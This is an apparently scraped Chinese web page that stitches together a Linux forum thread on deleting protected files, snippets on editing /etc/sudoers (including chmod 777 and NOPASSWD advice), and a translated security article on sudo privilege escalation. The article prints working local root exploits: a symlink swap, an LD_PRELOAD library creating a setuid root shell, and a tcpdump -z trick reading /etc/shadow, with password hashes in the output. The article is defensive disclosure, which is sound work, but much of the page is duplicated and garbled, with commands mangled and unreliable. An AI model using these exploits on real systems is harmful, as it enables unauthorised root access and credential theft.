不能sudo也无sudo 到 root权限限,如何修改文件

先锋游戏知道信息频道欢迎您
操作系统:linux有写保护的文件如何删除?用了rm -rf 文件名;也不行,修改权限也不行,说是权限不够,到底咋样能删除???
[欢乐猪] [ 11:09:31] (<span id="tgd) (<span id="tfd) &&
最佳答案sudo rm -rf
文件有写权限不够照样可以删除&因为删除这个操作和文件所属目录的写权限有关 其他答案你用什么用户去删除啊?
因为它就在个人用户下面,所以用的个人用户去删除的,用跟用户删除它会提示没有发现这个文件~~~~(&_&)~~~~
那你查查这个文件有没有设置特殊权限
没有,只有----------e,即没有设置特殊权限,我要不还是删除此虚拟机重新新建一个吧/(ㄒoㄒ)/~~多谢了哈
那你用root去删除试试咯 用root 修改权限也不行吗?你切换到root权限然后去删除看看
因为是在个人账户下建立的文件夹,所以切换到root就看不到该文件夹了
root用户有无限的权利,他就是老大啊!是可以直接访问和调用其他用户的东西的。你切换到那个用户的目录下嘛(假设那个用户叫test):cd /home/test & &然后ls下,root是最高的权限,只要是linux系统 &没有他管不到的,他如果没有权限,那没有什么有权限 先使用chattr -i 文件名,再使用rm -rf 文件名 就ok了提权,ch开头的一个命令很长世间不用忘记了。。。
昵称: 验证码:
评论仅供网友表达个人看法,并不表明本站同意其观点或证实其描述
操作系统相关知识
操作系统其他问题linux sudoers修改导致不能在终端使用sudo 和su的解决方法
首先要严正声明:如果不是非常必要,请不要擅自修改/etc/sudoers里的内容
如果终端执行sudo 相关指令,但是提示 用户名不在sudoers文件中,网上有解决方案 如下:
切换到root用户
[linux@localhost ~]$ su root
[root@localhost ~]#
查看/etc/sudoers文件权限,如果只读权限,修改为可写权限
[root@localhost ~]# ll /etc/sudoers
-r--r-----. 1
root root 4030 12月
10 09:55 /etc/sudoers
[root@localhost ~]#
chmod 777 /etc/sudoers
[root@localhost ~]# ls -l /etc/sudoers
-rwxrwxrwx. 1 root root 4030 12月
10 09:57 /etc/sudoers
修改/etc/sudoers文件,执行命令如下:
/*username是你的用户名*/
[root@localhost ~]# echo 'username
ALL' && /etc/sudoers
或者root权限下输入Visudo 或者 vim /etc/sudoers,找到 root
ALL的字段,在下一行追加:
5分钟之后密码过期,下次需要重新输入,如果不想如此麻烦,可以用以下方法
NOPASSWD: ALL
说明:格式为{用户名
网络中的主机=(执行命令的目标用户)
执行的命令范围}
保存退出,并恢复/etc/sudoers的访问权限为440
[root@localhost ~]# chmod 440 /etc/sudoers
[root@localhost ~]# ll /etc/sudoers
-r--r-----. 1 root root 4030 12月
10 09:59 /etc/sudoers
切换到普通用户,测试用户权限提升功能
如果你发现在你执行第一步su root时提示:su 认证失败,那么问题来啦,你要解决sudo不在sudoers的问题,必须要跳转到root目录,但是su root又无法认证,由于你更改了sudoers的内容;环环相套,我的解决方法是:重启电脑,一直按着esc键,进入recovery mode,选入 root,回车,这是会进入root目录在root终端输入
mount -o remount rw /然后 chmod 777 /etc/sudoersnano /etc/sudoers 回车,然后在后端加入 %admin ALL=(ALL) ALL 回车 sudo
ALL=(ALL:ALL) ALL 保存输入 chmod 440 /etc/sudoers 回车输入 reboot
没有更多推荐了,
加入CSDN,享受更精准的内容推荐,与500万程序员共同成长!sudoers文件更改错误,root权限无法使用的解决方案
我的图书馆
sudoers文件更改错误,root权限无法使用的解决方案
1. shift进入recovery模式&2. 选中root账号&3. chmod 666 /dev/null&&& mount -o remount rw /&4. nano /etc/sudoers&恢复本文件内容并存盘。&# /etc/sudoers&#&# This file MUST be edited with the 'visudo' command as root.&#&# See the man page for details on how to write a sudoers file.&#&Defaults env_reset&# Host alias specification&# User alias specification&# Cmnd alias specification&# User privilege specification&root ALL=(ALL) ALL&# Allow members of group sudo to execute any command after they have&# provided their password&# (Note that later entries override this, so you might need to move&# it further down)&%sudo ALL=(ALL) ALL&#&#includedir /etc/sudoers.d&# Members of the admin group may gain root privileges&%admin ALL=(ALL) ALL&
喜欢该文的人也喜欢centos配置普通用户可以使用sudo命令临时获取root权限
普通用户使用:yum命令时,提示权限不足,于是想到使用sudo命令借用root用户的权限:sudo yum install vim
结果提示:您需要 root 权限执行此命令。
CentOS系统安装完成后默认普通用户是无法使用sudo命令借用root用的权限的,需要在/etc/sudoers文件中添加该用户的这一权限。
1、在终端以超级用户登录
2、编辑/etc/sudoers文件,添加以下命令
#vi /etc/sudoers
在 root????? ALL=(ALL)????? ALL 下面添加一行
PS:以上的username换成你自己的普通用户的用户名。
vi?/etc/sudoers进入命令行模式,要想编辑文件,就输入a,表示进入插入编辑模式添加完以上命令,点击Esc按钮,则进入命令行模式然后输入 :wq ?? 保存并退出
如果你不想每次使用sudo命令是都输入密码,也可以增加以下这条命令
username ALL=(ALL) NOPASSWD:ALL
注意:以上的username换成你自己的普通用户的用户名。
可以使用 sudo yum install vim命令解压文件,即root用户的权限可以被普通用户使用。我是怎样通过Sudo获取root权限的 - 文章 - 伯乐在线
& 我是怎样通过Sudo获取root权限的
在处理安全相关的事务中,我们经常会发现服务器配置了权限管理的软件Sudo。和其它软件一样,配置Sudo也必须遵循最小特权的原则,用户只能被授予尽可能最小的特权来运行一些必要的任务或操作。因此,为了安全地配置Sudo,普通用户的权限必须被严格限制,他们仅能靠提升后的权限(通常是root用户的权限)合法地执行一组命令。
在实际应用中,根据最小特权原则配置的Sudo并不多见;即便有,也往往存在些许漏洞,我们利用这些漏洞就可以获取root权限。这样的话,就完蛋了,我们可以为所欲为!
这篇文章旨在给出一些错误和不安全配置的例子,这些是我们在安全评估中见到的并对生产环境造成了一定影响的例子。同时也告诉大家如何让自己的团队更加轻松地应对这些问题。
不安全的文件系统权限
考虑下面我们虚拟的用户“appadmin”的Sudo配置:
[sudo] password for appadmin:
User appadmin may run the following commands on this host:
(root) /opt/Support/start.sh, (root) /opt/Support/stop.sh,
(root) /opt/Support/restart.sh, (root) /usr/sbin/lsof
$ sudo -l[sudo] password for appadmin:User appadmin may run the following commands on this host:&&&&(root) /opt/Support/start.sh, (root) /opt/Support/stop.sh, &&&&(root) /opt/Support/restart.sh, (root) /usr/sbin/lsof
目前看起来没什么问题。接着我们来看看以下脚本:
$ ls -l /opt/Support/
-rwxr-xr-x 1 root
3 14:06 restart.sh
-rwxr-xr-x 1 appadmin appadmin 53 Oct
3 14:03 start.sh
$ ls -ld /opt/Support
drwxr-xr-x 2 appadmin appadmin 4096 Oct
3 13:58 /opt/Support
$ ls -l /opt/Support/total 4-rwxr-xr-x 1 root&&&& root&&&& 37 Oct&&3 14:06 restart.sh-rwxr-xr-x 1 appadmin appadmin 53 Oct&&3 14:03 start.sh$ ls -ld /opt/Supportdrwxr-xr-x 2 appadmin appadmin 4096 Oct&&3 13:58 /opt/Support
这些文件和目录的权限没有问题吗?在这里,我们有几个选项来提升我们的权限:
创建一个不存在的文件“stop.sh”
更改已存在的文件“start.sh”
移动文件“restart.sh”并创建另一个同名的文件
下面是第三种做法的演示:
$ mv /opt/Support/restart.sh{,.bak}
$ ln -s /bin/bash /opt/Support/restart.sh
$ sudo /opt/Support/restart.sh
[sudo] password for appadmin:
uid=0(root) gid=0(root) groups=0(root)
$ mv /opt/Support/restart.sh{,.bak}$ ln -s /bin/bash /opt/Support/restart.sh$ sudo /opt/Support/restart.sh[sudo] password for appadmin:# iduid=0(root) gid=0(root) groups=0(root)
Game?over!?:)
考虑下面我们的用户“monitor”的Sudo配置:
[sudo] password for monitor:
Matching Defaults entries for monitor on this host:
!env_reset
User monitor may run the following commands on this host:
(root) /etc/init.d/sshd
$ sudo -l[sudo] password for monitor:Matching Defaults entries for monitor on this host:&&&&!env_resetUser monitor may run the following commands on this host:&&&&(root) /etc/init.d/sshd
我们看到env_reset选项被禁用了!这就意味着我们可以更改我们被允许执行的命令的环境。根据Sudo版本的不同,我们可以通过传入环境变量来提升我们的权限,正如以下著名的漏洞那样:
LD_PRELOAD ( or )
同样需要知道的是,其它一些危险的环境变量也可能被我们滥用(PERL5OPT, PYTHONINSPECT 等等)。
应当指出,虽然,即使当env_reset被禁用,大多数危险的环境变量现在已经被Sudo根据默认的硬编码黑名单(hard-coded blacklist)删除了。使用root用户运行“sudo -V”查看“要删除的环境变量”这个黑名单。
不过,在版本低于1.8.5的Sudo中,我们发现通过命令行传递的环境变量不会被删除,尽管它们应该被删除。所以我们仍然可以利用和LD_PRELOAD类似的技术来提升我们的权限,下面给出了在最新版本的Red Hat企业版Linux 5.10系统中的例子(仅仅是少了最新的)。
$ rpm -q sudo
sudo-1.7.2p1-28.el5
$ cat & xoxo.c &&'LUL'
#include &unistd.h&
#include &stdlib.h&
void _init()
if (!geteuid()) {
unsetenv("LD_PRELOAD");
unlink("/tmp/libxoxo.so.1.0");
setgid(0);
setuid(0);
execl("/bin/sh","sh","-c","cp /bin/bash /tmp/. chown 0:0 /tmp/. /bin/chmod +xs /tmp/.bash",NULL);
$ gcc -o xoxo.o -c xoxo.c -fPIC
$ gcc -shared -Wl,-soname,libxoxo.so.1 -o /tmp/libxoxo.so.1.0 xoxo.o -nostartfiles
$ sudo LD_PRELOAD=/tmp/libxoxo.so.1.0 /etc/init.d/sshd blaaah
[sudo] password for monitor:
$ /tmp/.bash -p -c 'head -n 1 /etc/shadow'
uid=500(monitor) gid=500(monitor) euid=0(root) egid=0(root) groups=500(monitor)
root:$1$VjDVB93E$AUL2Mg1L2gH70HHxh2CEr/:99:7:::
123456789101112131415161718192021222324
$ rpm -q sudosudo-1.7.2p1-28.el5$ cat & xoxo.c &&'LUL'#include &unistd.h&#include &stdlib.h&&void _init(){ if (!geteuid()) {&& unsetenv("LD_PRELOAD");&& unlink("/tmp/libxoxo.so.1.0");&& setgid(0);&& setuid(0);&& execl("/bin/sh","sh","-c","cp /bin/bash /tmp/. chown 0:0 /tmp/. /bin/chmod +xs /tmp/.bash",NULL); }}LUL$ gcc -o xoxo.o -c xoxo.c -fPIC$ gcc -shared -Wl,-soname,libxoxo.so.1 -o /tmp/libxoxo.so.1.0 xoxo.o -nostartfiles$ sudo LD_PRELOAD=/tmp/libxoxo.so.1.0 /etc/init.d/sshd blaaah[sudo] password for monitor:$ /tmp/.bash -p -c 'head -n 1 /etc/shadow'uid=500(monitor) gid=500(monitor) euid=0(root) egid=0(root) groups=500(monitor)root:$1$VjDVB93E$AUL2Mg1L2gH70HHxh2CEr/:16128:0:99999:7:::
这个Bug位于文件sudo-1.8.4p5/plugins/sudoers/env.c的第685行,该处一个boolean比较操作没有被正确地执行。下面的补丁修复了这个问题:
--- sudo-1.8.4p5/plugins/sudoers/env.c
04:37:01. +1100
+++ sudo-1.8.4p5-fixed/plugins/sudoers/env.c
10:36:14. +1100
@@ -682,7 +682,7 @@
okvar = matches_env_keep(*ep);
okvar = matches_env_delete(*ep) ==
if (okvar == false)
if (okvar == true)
okvar = matches_env_check(*ep) !=
if (okvar == false) {
1234567891011
--- sudo-1.8.4p5/plugins/sudoers/env.c&&2012-03-30 04:37:01. +1100+++ sudo-1.8.4p5-fixed/plugins/sudoers/env.c&&&&2014-02-28 10:36:14. +1100@@ -682,7 +682,7 @@&&&&&&&&&&&&&&&&okvar = matches_env_keep(*ep);&&&&&&&&} else {&&&&&&&&&&&&okvar = matches_env_delete(*ep) == false;-&&&&&&&&&& if (okvar == false)+&&&&&&&&&& if (okvar == true)&&&&&&&&&&&&&&&&okvar = matches_env_check(*ep) != false;&&&&&&&&}&&&&&&&&if (okvar == false) {
在1.8.5版本的Sudo中,受影响的代码实际上被更改和清理掉了,以这种“悄无声息”的方式修复了存在的问题。结果就是,在1.8.5及以上版本中,通过命令行传递的环境变量也被清除了。
需要注意的是RHEL5.10系统仍然是脆弱的,因为它附带了版本(应用了先前的每一个安全补丁)。同样,RHEL从6.0到6.3兼容了一个1.7分支的版本。不过,RHEL6.4系统就要好一些,因为它附带了版本。
我们负责任地向供应商披露了这些安全问题,在一周之内,该漏洞被命名为,并公布了其中一些细节,同时发布了安全补丁。虽然为受其影响的发行版开发的安全更新还未发布,一个简单的解决措施是不要禁用env_reset选项,这是系统默认的。
Escape to shell
考虑下面我们的用户“john”的Sudo配置:
[sudo] password for john:
User john may run the following commands on this host:
(root) /usr/sbin/tcpdump
$ sudo -l[sudo] password for john:User john may run the following commands on this host:&&&&(root) /usr/sbin/tcpdump
在这个例子中,john能够截获网络流量。这个任务本身对管理员来讲是完全合法的,那么会是什么出了问题呢?值得了解一下“-z postrotate -command”(在tcpdump 4.0.0版本中引入)这个选项:
$ echo $'id\ncat /etc/shadow' & /tmp/.test
$ chmod +x /tmp/.test
$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
[sudo] password for john:
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
Maximum file limit reached: 1
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
root:$6$CnflBAm.SEqAN6Rz$rZhceJkWQlw1Dl1LaWltiT.cIhXyHtk5Ot2C7mMygrr7XBhJFzLkO8RKphzgowaYUMJHiO2MB9oBRCKFQAWoz0:99:7:::
bin:*:99:7:::
12345678910
$ echo $'id\ncat /etc/shadow' & /tmp/.test$ chmod +x /tmp/.test$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root[sudo] password for john:tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytesMaximum file limit reached: 1uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023root:$6$CnflBAm.SEqAN6Rz$rZhceJkWQlw1Dl1LaWltiT.cIhXyHtk5Ot2C7mMygrr7XBhJFzLkO8RKphzgowaYUMJHiO2MB9oBRCKFQAWoz0:16138:0:99999:7:::bin:*:15980:0:99999:7:::...
注意“Z-root”需要基于RedHat的发行版(Fedora,CentOs等),因为它们在处理存储文件之前要TcpDump包来删除root权限。
那么,你能做些什么以避免Sudo的滥用?确保要仔细检查每一个获取提升后的权限来运行的程序,它们有可能直接获得root权限(a nice # prompt)。比如说,像vi或者less这样的程序,允许用户调用任意的shell命令(带!或者类似的),应该用更安全的同类程序,rvim和cat来代替它们。
想实战一下?接下来有个挑战,找出如何弹出一个root shell的方法。这里至少有两种方法可供我们参考,不过其中一种要比另一种更具侵略性,可以影响到系统的完整性。你可以在评论中给出你的解决办法。为了不削减趣味性,我们会在几个星期之后公布我们的和最原始的解决方法。系统环境是一个标准的CentOS 6.5系统,仅按“默认”的方式安装了zip包。
$ cat /usr/local/bin/extract_docs.sh
#!/bin/bash
zip -U /root/original-docs.zip -O /var/lib/extracted-docs.zip "$@"
$ ls -ld /root/original-docs.zip /usr/local/bin/ /usr/local/bin/extract_docs.sh /var/lib/ /var/lib/extracted-docs.zip
ls: cannot access /root/original-docs.zip: Permission denied
drwxr-xr-x.
2 root root 4096 Mar 12 17:02 /usr/local/bin/
-rwxr-xr-x.
1 root root
80 Mar 12 17:02 /usr/local/bin/extract_docs.sh
drwxr-xr-x. 15 root root 4096 Mar 12 17:02 /var/lib/
-rw-r--r--.
1 root root
964 Mar 12 17:02 /var/lib/extracted-docs.zip
$ rpm -q zip
zip-3.0-1.el6.x86_64
[sudo] password for kevin:
Matching Defaults entries for kevin on this host:
requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR
LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER
LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User kevin may run the following commands on this host:
(root) /usr/local/bin/extract_docs.sh
12345678910111213141516171819202122
$ cat /usr/local/bin/extract_docs.sh#!/bin/bashzip -U /root/original-docs.zip -O /var/lib/extracted-docs.zip "$@"$ ls -ld /root/original-docs.zip /usr/local/bin/ /usr/local/bin/extract_docs.sh /var/lib/ /var/lib/extracted-docs.zipls: cannot access /root/original-docs.zip: Permission denieddrwxr-xr-x.&&2 root root 4096 Mar 12 17:02 /usr/local/bin/-rwxr-xr-x.&&1 root root&& 80 Mar 12 17:02 /usr/local/bin/extract_docs.shdrwxr-xr-x. 15 root root 4096 Mar 12 17:02 /var/lib/-rw-r--r--.&&1 root root&&964 Mar 12 17:02 /var/lib/extracted-docs.zip$ rpm -q zipzip-3.0-1.el6.x86_64$ sudo -l[sudo] password for kevin: Matching Defaults entries for kevin on this host:&&&&requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR&&&&LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE&&&&LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER&&&&LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",&&&&secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin&User kevin may run the following commands on this host:&&&&(root) /usr/local/bin/extract_docs.sh
感谢阅读,现在把你的想法拿出来吧!
关于作者:}

我要回帖

更多关于 sudo权限和root的区别 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信